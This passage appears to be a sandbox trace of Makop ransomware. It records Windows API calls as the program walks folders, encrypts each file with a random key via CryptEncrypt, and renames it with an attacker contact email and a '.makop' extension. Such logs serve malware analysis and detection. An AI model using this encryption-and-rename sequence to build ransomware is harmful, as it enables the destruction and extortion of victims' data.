hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc54fea93, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc54fea93, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x457ae7a3, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xc60, dwReserved0=0x0, dwReserved1=0x0, cFileName="White_Chocolate.jpg", cAlternateFileName="")) returned 1 [0095.340] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\White_Chocolate.jpg") returned 77 [0095.340] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\White_Chocolate.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\white_chocolate.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0095.341] GetLastError () returned 0x5 [0095.341] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc5524bf0, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc5524bf0, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x457faa5f, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x3ad7, dwReserved0=0x0, dwReserved1=0x0, cFileName="Wrinkled_Paper.gif", cAlternateFileName="")) returned 1 [0095.341] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Wrinkled_Paper.gif") returned 76 [0095.341] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Wrinkled_Paper.gif" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\wrinkled_paper.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0095.341] GetLastError () returned 0x5 [0095.341] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc5524bf0, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc5524bf0, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x457faa5f, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x3ad7, dwReserved0=0x0, dwReserved1=0x0, cFileName="Wrinkled_Paper.gif", cAlternateFileName="")) returned 0 [0095.341] FindClose (in: hFindFile=0x48c70e8 | out: hFindFile=0x48c70e8) returned 1 [0095.342] FindNextFileW (in: hFindFile=0x48c70a8, lpFindFileData=0x65795a0 | out: lpFindFileData=0x65795a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xcf4f23c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xcf4f23c0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="TextConv", cAlternateFileName="")) returned 1 [0095.342] wsprintfW (in: param_1=0x657a7f0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv") returned 55 [0095.342] wsprintfW (in: param_1=0x6577d70, param_2="%s\\*.*" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\*.*") returned 59 [0095.342] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\*.*", lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xcf4f23c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xcf4f23c0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x48c70e8 [0095.343] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xcf4f23c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xcf4f23c0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0095.343] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ecb743, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0095.343] wsprintfW (in: param_1=0x6578d70, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\en-US") returned 61 [0095.343] wsprintfW (in: param_1=0x65762f0, param_2="%s\\*.*" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\en-US\\*.*") returned 65 [0095.343] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\en-US\\*.*", lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ecb743, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x48c7128 [0095.343] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ecb743, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0095.343] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ecb743, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0095.344] FindClose (in: hFindFile=0x48c7128 | out: hFindFile=0x48c7128) returned 1 [0095.344] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e16af00, ftCreationTime.dwHighDateTime=0x1cbae03, ftLastAccessTime.dwLowDateTime=0xcf518520, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x3e16af00, ftLastWriteTime.dwHighDateTime=0x1cbae03, nFileSizeHigh=0x0, nFileSizeLow=0x23d78, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSCONV97.DLL", cAlternateFileName="")) returned 1 [0095.345] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\MSCONV97.DLL") returned 68 [0095.345] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\MSCONV97.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\textconv\\msconv97.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0095.345] GetProcessHeap () returned 0x48a0000 [0095.345] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0095.345] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0095.345] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0095.346] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0095.350] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0095.350] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0095.350] GetProcessHeap () returned 0x48a0000 [0095.350] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0095.350] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0095.350] CryptDestroyKey (hKey=0x48c7128) returned 1 [0095.350] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0095.350] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0095.351] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0095.351] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0095.351] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0095.351] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0095.351] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0095.351] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0095.351] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0095.351] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x23d78, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x23d78, lpOverlapped=0x0) returned 1 [0095.355] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x23d80, dwBufLen=0x23d80 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x23d80) returned 1 [0095.357] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0095.357] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x23d80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x23d80, lpOverlapped=0x0) returned 1 [0095.358] CryptDestroyKey (hKey=0x48c7128) returned 1 [0095.358] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x23e54, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0095.358] SetEndOfFile (hFile=0xf0) returned 1 [0095.368] GetProcessHeap () returned 0x48a0000 [0095.368] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0095.368] GetProcessHeap () returned 0x48a0000 [0095.368] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0095.368] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\MSCONV97.DLL.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 115 [0095.368] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\MSCONV97.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\textconv\\msconv97.dll"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\MSCONV97.DLL.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\common files\\microsoft shared\\textconv\\msconv97.dll.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0095.373] CloseHandle (hObject=0xf0) returned 1 [0095.374] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1aeaee00, ftCreationTime.dwHighDateTime=0x1ca9122, ftLastAccessTime.dwLowDateTime=0xef0320d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x1aeaee00, ftLastWriteTime.dwHighDateTime=0x1ca9122, nFileSizeHigh=0x0, nFileSizeLow=0x8f68, dwReserved0=0x0, dwReserved1=0x0, cFileName="RECOVR32.CNV", cAlternateFileName="")) returned 1 [0095.374] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\RECOVR32.CNV") returned 68 [0095.374] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\RECOVR32.CNV" (normalized: "c:\\program files\\common files\\microsoft shared\\textconv\\recovr32.cnv"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0095.374] GetProcessHeap () returned 0x48a0000 [0095.374] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0095.374] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0095.375] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0095.375] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0095.379] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0095.379] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0095.380] GetProcessHeap () returned 0x48a0000 [0095.380] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0095.380] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0095.380] CryptDestroyKey (hKey=0x48c7128) returned 1 [0095.380] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0095.380] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0095.380] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0095.380] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0095.381] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0095.381] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0095.381] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0095.381] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0095.381] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0095.381] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x8f68, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x8f68, lpOverlapped=0x0) returned 1 [0095.383] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x8f70, dwBufLen=0x8f70 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x8f70) returned 1 [0095.383] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0095.383] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x8f70, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x8f70, lpOverlapped=0x0) returned 1 [0095.384] CryptDestroyKey (hKey=0x48c7128) returned 1 [0095.384] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x9044, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0095.384] SetEndOfFile (hFile=0xf0) returned 1 [0095.391] GetProcessHeap () returned 0x48a0000 [0095.391] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0095.391] GetProcessHeap () returned 0x48a0000 [0095.392] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0095.392] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\RECOVR32.CNV.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 115 [0095.392] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\RECOVR32.CNV" (normalized: "c:\\program files\\common files\\microsoft shared\\textconv\\recovr32.cnv"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\RECOVR32.CNV.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\common files\\microsoft shared\\textconv\\recovr32.cnv.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0095.393] CloseHandle (hObject=0xf0) returned 1 [0095.393] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2f938f00, ftCreationTime.dwHighDateTime=0x1caafc8, ftLastAccessTime.dwLowDateTime=0x7090d6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2f938f00, ftLastWriteTime.dwHighDateTime=0x1caafc8, nFileSizeHigh=0x0, nFileSizeLow=0xdfa0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Wks9Pxy.cnv", cAlternateFileName="")) returned 1 [0095.393] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\Wks9Pxy.cnv") returned 67 [0095.393] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\Wks9Pxy.cnv" (normalized: "c:\\program files\\common files\\microsoft shared\\textconv\\wks9pxy.cnv"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0095.395] GetProcessHeap () returned 0x48a0000 [0095.395] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0095.395] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0095.395] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0095.395] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0095.395] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0095.395] GetProcessHeap () returned 0x48a0000 [0095.395] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0095.396] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0095.396] CryptDestroyKey (hKey=0x48c7128) returned 1 [0095.396] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0095.399] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0095.400] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0095.400] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0095.400] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0095.400] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0095.401] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0095.401] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0095.401] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0095.401] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0xdfa0, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0xdfa0, lpOverlapped=0x0) returned 1 [0095.403] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0xdfa0, dwBufLen=0xdfa0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0xdfa0) returned 1 [0095.404] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0095.404] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0xdfa0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0xdfa0, lpOverlapped=0x0) returned 1 [0095.405] CryptDestroyKey (hKey=0x48c7128) returned 1 [0095.405] SetFilePointerEx (in: hFile=0xf0, 